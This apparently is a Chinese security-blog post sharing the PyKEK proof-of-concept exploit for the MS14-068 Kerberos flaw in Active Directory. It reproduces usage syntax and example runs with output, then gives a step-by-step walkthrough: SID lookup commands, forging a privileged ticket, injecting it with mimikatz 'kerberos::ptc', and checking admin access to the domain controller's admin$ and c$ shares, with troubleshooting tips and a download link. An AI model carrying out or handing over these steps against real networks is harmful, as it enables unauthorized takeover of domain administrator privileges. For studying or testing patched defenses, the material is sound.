MS14-068 privilege escalation PoC

数日前 安全脉搏播报了《MS14-068 Kerberos Domain Privilege Escalation》，安全运维和渗透师必关注的一个漏洞，该漏洞可能允许攻击者提升普通域用户账户为域管理员账户。

老外在github给出了一个POC，先分享如下：

Python Kerberos Exploitation Kit

PyKEK (Python Kerberos Exploitation Kit), a python library to manipulate KRB5-related data. (Still in development)

For now, only a few functionalities have been implemented (in a quite Quick’n’Dirty way) to exploit MS14-068 (CVE-2014-6324) .

More is coming…

Author

Sylvain Monné

Contact : sylvain dot monne at solucom dot fr

http://twitter.com/bidord

Special thanks to: Benjamin DELPY gentilkiwi

Library content

• kek.krb5: Kerberos V5 (RFC 4120) ASN.1 structures and basic protocol functions
• kek.ccache: Credential Cache Binary Format (cchache)
• kek.pac: Microsoft Privilege Attribute Certificate Data Structure (MS-PAC)
• kek.crypto: Kerberos and MS specific cryptographic functions

Exploits

ms14-068.py

Exploits MS14-680 vulnerability on an un-patched domain controler of an Active Directory domain to get a Kerberos ticket for an existing domain user account with the privileges of the following domain groups :

• Domain Users (513)
• Domain Admins (512)
• Schema Admins (518)
• Enterprise Admins (519)
• Group Policy Creator Owners (520)

Usage :

USAGE:ms14-068.py -u <userName>@<domainName> -s <userSid> -d <domainControlerAddr>OPTIONS:    -p <clearPassword> --rc4 <ntlmHash>

Example usage :

Linux (tested with samba and MIT Kerberos)

root@kali:~/sploit/pykek# python ms14-068.py -u [email protected] -s S-1-5-21-557603841-771695929-1514560438-1103 -d dc-a-2003.dom-a.locPassword:   [+] Building AS-REQ for dc-a-2003.dom-a.loc... Done!  [+] Sending AS-REQ to dc-a-2003.dom-a.loc... Done!  [+] Receiving AS-REP from dc-a-2003.dom-a.loc... Done!  [+] Parsing AS-REP from dc-a-2003.dom-a.loc... Done!  [+] Building TGS-REQ for dc-a-2003.dom-a.loc... Done!  [+] Sending TGS-REQ to dc-a-2003.dom-a.loc... Done!  [+] Receiving TGS-REP from dc-a-2003.dom-a.loc... Done!  [+] Parsing TGS-REP from dc-a-2003.dom-a.loc... Done!  [+] Creating ccache file '[email protected]'... Done!root@kali:~/sploit/pykek# mv [email protected] /tmp/krb5cc_0 

On Windows

python.exe ms14-068.py -u [email protected] -s S-1-5-21-557603841-771695929-1514560438-1103 -d dc-a-2003.dom-a.locmimikatz.exe "kerberos::ptc [email protected]" exit

SID获取方法：

1)wmic useraccount where name=”USERNAME” get sid

2)whoami /all   本机可以直接查出自己的SID；

胖编想 在未及时patch的内网内是不是要如鱼得水 随意穿插呢？那么内网渗透门槛又被拉低了？

为不能访问github的小朋友们提供百度盘链接，胖编这么贴心，应该能骗得主编表侄女的欢心了吧，想想就开心，想想就自信。

测试

Update:1) use ms14-068.pyms14-068.py -u [email protected] -s S-1-5-21-3653881884-3918934852-1693569208-8965 -d DC2.secpulse.localPassword:  [+] Building AS-REQ for DC2.secpulse.local... Done!  [+] Sending AS-REQ to DC2.secpulse.local... Done!  [+] Receiving AS-REP from DC2.secpulse.local... Done!  [+] Parsing AS-REP from DC2.secpulse.local... Done!  [+] Building TGS-REQ for DC2.secpulse.local... Done!  [+] Sending TGS-REQ to DC2.secpulse.local... Done!  [+] Receiving TGS-REP from DC2.secpulse.local... Done!  [+] Parsing TGS-REP from DC2.secpulse.local... Done!  [+] Creating ccache file '[email protected]'... Done!2)put your [email protected] file into mimikatz directory  最新版本的mimikatz才支持kerberos::ptc模块，下载地址：https://github.com/gentilkiwi/mimikatz/releases/tag/2.0.0-alpha-20141120否则会出现ERROR mimikatz_doLocal ; "ptc" command of "kerberos" module not found !3)新版本执行mimikatz.exe log "kerberos::ptc [email protected]" exitUsing 'mimikatz.log' for logfile : OKmimikatz(commandline) # kerberos::ptc [email protected] : (01) : secpulse ; @ SECPULSE.LOCALData 0       Start/End/MaxRenew: 2014/12/7 9:43:01 ; 2014/12/7 19:43:01 ; 2014/12/14 9:43:01       Service Name (01) : krbtgt ; SECPULSE.LOCAL ; @ SECPULSE.LOCAL       Target Name  (01) : krbtgt ; SECPULSE.LOCAL ; @ SECPULSE.LOCAL       Client Name  (01) : secpulse ; @ SECPULSE.LOCAL       Flags 50a10000    : name_canonicalize ; pre_authent ; renewable ; proxiable ; forwardable ;       Session Key       : 0x00000017 - rc4_hmac_nt               1af2c0401238d0346b5456788atf1140       Ticket            : 0x00000000 - null              ; kvno = 2    [...]       * Injecting ticket : OKmimikatz(commandline) # exitBye!4)如果injecte成功 你有可能获得到了域管理session那么klist看一下是否有了kerberos Ticket那么 测试一下 net use \\DC2.secpulse.local\admin$    //注:使用IP可能会失败 dir \\DC2.secpulse.local\c$ 看看有木有权限 好运~备注：测试环境：    win7，在xp下mimikatz会出错    python2.7，使用更高版本比如python3.3脚本会报错    在本机以local admin登录，如果以域用户登录提权会失败    如果在以上操作下仍然失败，建议重启主机，并用域管理员在域内新建普通用户，以新建用户的用户名密码执行python脚本，重复以上流程

老外这篇是以 local admin（not with AD domain credentials）登陆的，成功获得域控机器权限。

打了patch的暂时就没办法利用啦。

本文作者：SP胖编

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